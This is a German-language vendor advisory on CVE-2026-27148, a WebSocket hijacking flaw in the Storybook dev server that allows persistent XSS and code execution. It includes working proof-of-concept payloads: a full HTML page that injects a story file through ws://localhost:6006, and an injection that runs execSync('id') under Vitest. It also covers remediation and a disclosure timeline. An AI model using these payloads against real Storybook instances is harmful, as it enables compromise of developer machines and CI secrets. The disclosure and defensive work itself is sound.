Aikido

Persistentes XSS/RCE mittels WebSockets im Storybook-Entwicklungsserver

Verfasst von
Robbe Verwilghen

Aikido Attack, unser KI-Pentest-Produkt, hat eine WebSocket-Hijacking-Schwachstelle im Dev-Server von Storybook gefunden, die zu persistentem XSS und Remote Code Execution führen kann. Bleibt dies unbemerkt, könnte die Payload in der Versionskontrolle, der CI/CD-Pipeline und dem Produktions-Build von Storybook landen. Der WebSocket-Server von Storybook verfügt über keine Authentifizierung oder Zugriffskontrolle. Ist der Dev-Server also öffentlich zugänglich, kann ein Angreifer dies ohne Benutzerinteraktion ausnutzen. Im häufigeren lokalen Setup muss ein Entwickelnde eine bösartige Website besuchen, während Storybook läuft.

Advisory: GHSA-mjf5-7g4m-gx5w 

CVE: CVE-2026-27148

CVSS: 8.9 (Hoch) 

Affected versions: Storybook >= 8.1.0 and < 10.2.10 

Gepatchte Versionen: 7.6.23, 8.6.17, 9.1.19, 10.2.10

Die Schwachstelle

Storybook ist ein Open-Source-Frontend-Workshop zum Erstellen und Testen von UI-Komponenten in Isolation, außerhalb Ihrer Hauptanwendung. Während der Entwicklung betreibt Storybook einen lokalen Server, der WebSockets nutzt, um seine Funktionen zur Story-Erstellung und -Bearbeitung zu ermöglichen. In älteren Versionen mussten Entwickelnde Story-Komponenten in ihrem Editor ihrer Wahl erstellen und bearbeiten und das Ergebnis in Storybook im Browser anzeigen. Ab Version 8.1 können Entwickelnde Komponenten direkt im Browser über die Storybook-Benutzeroberfläche bearbeiten. In dieser Funktionalität zur Story-Erstellung und -Bearbeitung liegt die Schwachstelle.

Das Problem: Der WebSocket-Server verfügt über keinerlei Zugriffskontrolle. Es gibt keine Authentifizierung, keine Sitzungsvalidierung und keine Origin Header-Prüfung bei eingehenden Verbindungen. Ist der Dev-Server erreichbar, kann sich jeder verbinden und Dateien in das Stories-Verzeichnis schreiben.

Dies schafft zwei verschiedene Angriffsszenarien. Ist der Storybook Dev-Server öffentlich exponiert, kann sich jeder nicht authentifizierte Angreifer im Internet direkt mit dem WebSocket-Endpunkt verbinden und ihn ohne Benutzerinteraktion ausnutzen. Läuft der Dev-Server lokal, muss der Angreifer den Entwickelnde dazu bringen, eine bösartige Webseite zu besuchen, die dann eine Cross-Origin-WebSocket-Verbindung zu ws://localhost:6006/storybook-server-channel in ihrem Namen öffnet.

Der WebSocket-Endpunkt unter /storybook-server-channel akzeptiert zwei Arten von Nachrichten: createNewStoryfileRequest und saveStoryRequest. Beide Typen schreiben in das Verzeichnis src/stories im Dateisystem.

Der anfällige Code befindet sich in zwei WebSocket-Handlern:

Beide delegieren an get-new-story-file.ts welche basenameWithoutExtension vom Benutzer bereitgestellten componentFilePath und übergibt diesen unbereinigt an typescript.ts, wo es direkt in den generierten Quellcode interpoliert wird.

Injektionspunkt: get-new-story-file.ts

const base = basename(componentFilePath); //"Button';alert(document.domain);var a='.tsx"
const extension = extname(componentFilePath); // ".tsx"
const basenameWithoutExtension = base.replace(extension, ''); // "Button';alert(document.domain);var a='"

Sink: typescript.ts

const importName = data.componentIsDefaultExport
  ? await getComponentVariableName(data.basenameWithoutExtension)
  : data.componentExportName; // ← user-controlled, unvalidated

...

const importStatement = data.componentIsDefaultExport
  ? `import ${importName} from './${data.basenameWithoutExtension}'`
  : `import { ${importName} } from './${data.basenameWithoutExtension}'`; // ← injected here 

Datei auf Festplatte geschrieben:

import type { Meta, StoryObj } from '@storybook/react-vite';

import { Button } from './Button-INJECTION_POINT-'; // ← injected here

const meta = {
  component: Button,
} satisfies Meta<typeof Button>;

export default meta;

type Story = StoryObj<typeof meta>;

export const Default: Story = {};

Der Angriff: von der WebSocket-Nachricht zur Code-Injection

Bei öffentlich zugänglichen Instanzen ist die Ausnutzung trivial: Eine Verbindung zum WebSocket-Endpunkt herstellen und eine Nachricht senden. Dies kann vollständig automatisiert und skaliert werden, um nach exponierten Storybook-Entwicklungsinstanzen im gesamten Internet zu suchen.

Für lokale Instanzen erfordert der Angriff einen zusätzlichen Schritt: Die Entwickelnde besucht eine bösartige Webseite, die stillschweigend eine WebSocket-Verbindung zu localhost:6006 öffnet und eine manipulierte Nachricht sendet:

{
  "type": "createNewStoryfileRequest",
  "args": [{
    "id": "xss_poc",
    "payload": {
      "componentFilePath": "src/stories/Button';alert(document.domain);var a='.tsx",
      "componentExportName": "Button",
      "componentIsDefaultExport": false,
      "componentExportCount": 1
    }
  }],
  "from": "preview"
}

Der injizierte componentFilePath bricht aus dem String-Kontext in der generierten Story-Datei aus. Storybook schreibt eine neue .stories.ts Datei auf die Festplatte im Verzeichnis src/stories mit dem darin eingebetteten JavaScript des Angreifers.

Auf die Festplatte geschriebene Dateien:

import type { Meta, StoryObj } from '@storybook/react-vite';

import { Button } from './Button';alert(document.domain);var a= ''; // ← injected here

const meta = {
  component: Button,
} satisfies Meta<typeof Button>;

export default meta;

type Story = StoryObj<typeof meta>;

export const Default: Story = {};

Der componentFilePath Feld ist der geradlinigste Injektionsvektor, aber componentExportName fließt in dieselben Template-Positionen, wenn componentIsDefaultExport falsch ist, einschließlich der `component:`-Eigenschaft und des `typeof`-Ausdrucks im Meta-Block.

Die vollständige PoC ist nur eine einfache HTML-Seite:

<!DOCTYPE html>
<html>
<head><title>PoC</title></head>
<body>
  <h1>Loading...</h1>
  <script>
    const ws = new WebSocket("ws://localhost:6006/storybook-server-channel");
    ws.onopen = () => {
      ws.send(JSON.stringify({
        type: "createNewStoryfileRequest",
        args: [{
          id: "xss_poc",
          payload: {
            componentFilePath: "src/stories/Button';alert(document.domain);var a='.tsx",
            componentExportName: "Button",
            componentIsDefaultExport: false,
            componentExportCount: 1
          }
        }],
        from: "preview"
      }));
    };
  </script>
</body>
</html>

Das war's. Besuchen Sie die Seite, und die injizierte Story-Datei befindet sich nun auf der Maschine der Entwickelnden.

Eskalation: Von XSS zu RCE

Die Auswirkungen dieser Schwachstelle reichen über temporäre browserbasierte Angriffe hinaus, da Storybook in moderne Entwicklungsworkflows integriert ist.

Die Schwere eskaliert in Umgebungen, in denen Stories für automatisierte Tests verwendet werden. Viele Teams nutzen „portable Stories“, um Tests in Node.js-Umgebungen (z. B. mit Vitest und JSDOM) auszuführen, anstatt der Standard-Chromium-Instanz. In diesen nicht standardmäßigen, aber gängigen Konfigurationen landet das injizierte JavaScript in einem NodeJS-Kontext und wird serverseitig ausgeführt. Dies gewährt der Payload dieselben Privilegien wie dem Test-Runner, was potenziell Folgendes ermöglicht:

  • Exfiltration von Anmeldeinformationen: Zugriff auf Umgebungsvariablen und CI/CD-Secrets.
  • Systemzugriff: Voller Lese- und Schreibzugriff auf das lokale Dateisystem und den Quellcode.
  • Netzwerk-Pivoting: Die Möglichkeit, interne Netzwerkressourcen vom kompromittierten Build-Agent oder der Entwickelnden-Maschine aus zu erreichen.

Proof of Concept WebSocket-Nachricht:

{
  "type": "createNewStoryfileRequest",
  "args": [{
    "id": "rce_stealth",
    "payload": {
      "componentFilePath": "src/stories/Button';(typeof process!=='undefined'&&console.log('RCE_PROOF:',require('child_process').execSync('id').toString()));var a='.tsx",
      "componentExportName": "Button",
      "componentIsDefaultExport": false,
      "componentExportCount": 1
    }
  }],
  "from": "preview"
}

Wann npx vitest ausgeführt wird, ob manuell ausgelöst, durch eine VS Code-Erweiterung beim Speichern der Datei oder in einer CI/CD-Pipeline, lautet die Ausgabe:

RCE_PROOF:  uid=501(robbe) gid=20(staff) ...

Zu diesem Zeitpunkt hat der Angreifer Code-Ausführung in der Umgebung der Entwickelnden oder in der CI-Pipeline, mit Zugriff auf Umgebungsvariablen, Anmeldeinformationen, das Dateisystem und das Netzwerk.

Der Supply-Chain-Aspekt

Der primäre Risikofaktor dieser Schwachstelle ist das Persistenzmodell. Da die Payload direkt in die Quelldateien des Projekts geschrieben wird. Bleibt dies unbemerkt, kann die Payload in die Versionskontrolle übernommen werden. In diesem Fall könnte der Exploit sich über verschiedene Vektoren verbreiten:

  • Interne Verteilung: Teammitglieder, die den aktualisierten Branch pullen, führen die injizierte Payload lokal aus, wenn sie ihre eigenen Storybook-Instanzen oder Test-Suites betreiben.
  • CI/CD-Pipeline-Ausführung: Automatisierte Build- und Testumgebungen, die oft mit erhöhten Berechtigungen für den Zugriff auf Secrets und Deployment-Keys laufen, können den bösartigen Code während der Testphase.
  • Dokumentationsexposition: Wird der Storybook-Build als gehostete Dokumentationsseite veröffentlicht, wird die XSS-Payload für jeden Stakeholder, Designer oder Entwickelnden, der die Komponenten ansieht, persistent.

Browser-Schutzmaßnahmen

Google Chrome beginnt, Berechtigungsaufforderungen für lokale WebSocket-Anfragen zu implementieren, als Schutz vor Cross-Origin-WebSocket-Verbindungen zu localhost (Siehe https://chromestatus.com/feature/5197681148428288). Firefox tut dies nicht. Wenn Ihr Team also auch nur einen Firefox-Nutzer hat, der Storybook ausführt, ist dieser ein praktikables Ziel für den Cross-Origin-Angriff.

Für öffentlich zugängliche Dev-Server spielt dies alles keine Rolle. Der Angreifer verbindet sich direkt mit dem WebSocket-Endpunkt, ohne einen Browser zu verwenden. Keine Origin-Prüfung, kein CORS, keinerlei Browserschutzmaßnahmen im Spiel.

Behebung

Aktualisieren Sie Storybook auf eine der gepatchten Versionen: 7.6.23, 8.6.17, 9.1.19 oder 10.2.10. Der Fix fügt dem WebSocket-Server eine Origin-Validierung hinzu. In späteren Versionen hat Storybook auch eine Sanitization für Storynamen hinzugefügt, um Injection-Angriffe zu verhindern.

Beachten Sie, dass, obwohl die anfällige Funktionalität in 8.1 eingeführt wurde, Patches als Vorsichtsmaßnahme auf 7.x zurückportiert wurden.

Wenn Ihre Repositories von Aikido gescannt werden, werden anfällige Storybook-Versionen automatisch markiert und in Ihrem Feed angezeigt.

Zeitplan

  • 6. Februar 2026: Identifiziert von Aikido Attack (AI-Pentest-Agent)
  • 6. Februar 2026: Offengelegt gegenüber dem Storybook-Sicherheitsteam
  • 25. Februar 2026: Gepatcht in Storybook 7.6.23, 8.6.17, 9.1.19, 10.2.10
  • 25. Februar 2026:GHSA-mjf5-7g4m-gx5w veröffentlicht
Teilen:

https://www.aikido.dev/blog/storybooks-websockets-attack

Heute kostenlos starten.

Kostenlos starten
Ohne Kreditkarte

Abonnieren Sie Bedrohungs-News.

4.7/5
Falschpositive Ergebnisse leid?

Probieren Sie Aikido, wie 100.000 andere.
Jetzt starten
Erhalten Sie eine personalisierte Führung

Von über 100.000 Teams vertraut

Jetzt buchen
Scannen Sie Ihre App nach IDORs und realen Angriffspfaden

Von über 100.000 Teams vertraut

Scan starten
Erfahren Sie, wie KI-Penetrationstests Ihre App testen

Von über 100.000 Teams vertraut

Testen starten

Sicherheit jetzt implementieren

Sichern Sie Ihren Code, Ihre Cloud und Ihre Laufzeit in einem zentralen System.
Finden und beheben Sie Schwachstellen schnell und automatisch.

Keine Kreditkarte erforderlich | Scan-Ergebnisse in 32 Sek.